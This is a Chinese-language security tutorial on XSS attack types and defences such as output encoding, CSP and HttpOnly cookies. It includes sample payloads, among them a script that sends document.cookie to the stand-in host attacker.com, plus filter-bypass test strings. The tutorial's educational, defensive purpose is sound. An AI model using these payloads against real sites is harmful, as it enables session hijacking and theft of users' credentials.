XSS跨站脚本攻击与防护
字数 1321 2025-11-02 17:10:18
XSS跨站脚本攻击与防护
一、知识点描述
XSS(跨站脚本攻击)是一种常见的安全漏洞,攻击者通过向网页注入恶意脚本,当其他用户浏览该页面时,脚本会在其浏览器执行,从而盗取用户cookie、会话令牌等敏感信息,或进行其他恶意操作。XSS主要分为三类:反射型、存储型和DOM型。
二、攻击原理详解
-
反射型XSS(非持久化)
- 攻击过程:恶意脚本作为请求参数发送给服务器→服务器返回包含该脚本的页面→用户浏览器执行脚本
- 特点:需要诱导用户点击特制链接,常见于搜索框、错误提示页等即时响应的场景
- 示例:
http://example.com/search?q=<script>alert('XSS')</script>
-
存储型XSS(持久化)
- 攻击过程:恶意脚本被提交到服务器并存储到数据库→其他用户访问正常页面时自动加载执行
- 特点:危害范围大,常见于论坛评论、用户留言等UGC内容区
- 示例:在博客评论区插入
<img src=x onerror=stealCookie()>
-
DOM型XSS
- 攻击过程:恶意脚本通过修改DOM树实现攻击,不经过服务器处理
- 特点:完全在客户端发生,常见于URL片段(#之后的部分)
- 示例:
http://example.com#<script>document.write(location.hash)</script>
三、攻击危害演示
以窃取Cookie为例的完整攻击链:
- 攻击者构造恶意链接:
http://victim-site.com/search?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - 用户点击链接后,脚本自动向攻击者服务器发送当前站点的Cookie
- 攻击者利用窃取的Cookie实现会话劫持
四、防护方案详解
-
输入过滤(服务端)
- 对用户输入进行严格校验:删除或转义特殊字符(如
< > & ' ") - 示例代码(PHP):
$input = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
- 对用户输入进行严格校验:删除或转义特殊字符(如
-
输出编码(根据输出位置)
- HTML正文编码:将
<转为<,>转为> - HTML属性编码:额外处理引号(
"转为") - JavaScript编码:使用
\uXXXX形式转义
- HTML正文编码:将
-
内容安全策略(CSP)
- 通过HTTP头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src trusted.com - 禁止内联脚本执行,有效阻断大部分XSS
- 通过HTTP头限制脚本来源:
-
HttpOnly Cookie
- 设置Cookie时添加HttpOnly属性,防止JavaScript读取:
Set-Cookie: sessionId=abc123; HttpOnly
- 设置Cookie时添加HttpOnly属性,防止JavaScript读取:
-
DOM型XSS专项防护
- 避免使用
innerHTML,优先使用textContent - 对URL参数进行验证:使用
encodeURIComponent()处理动态参数
- 避免使用
五、实战检测方法
- 使用自动化工具扫描(如OWASP ZAP、Burp Suite)
- 手动测试payload:
- 基础检测:
<script>alert(1)</script> - 绕过检测:
<img src=x onerror=alert(1)>
- 基础检测:
- 检查CSP配置是否生效
通过以上分层防护,可有效将XSS风险降到最低。实际开发中建议结合多种防护措施,形成纵深防御体系。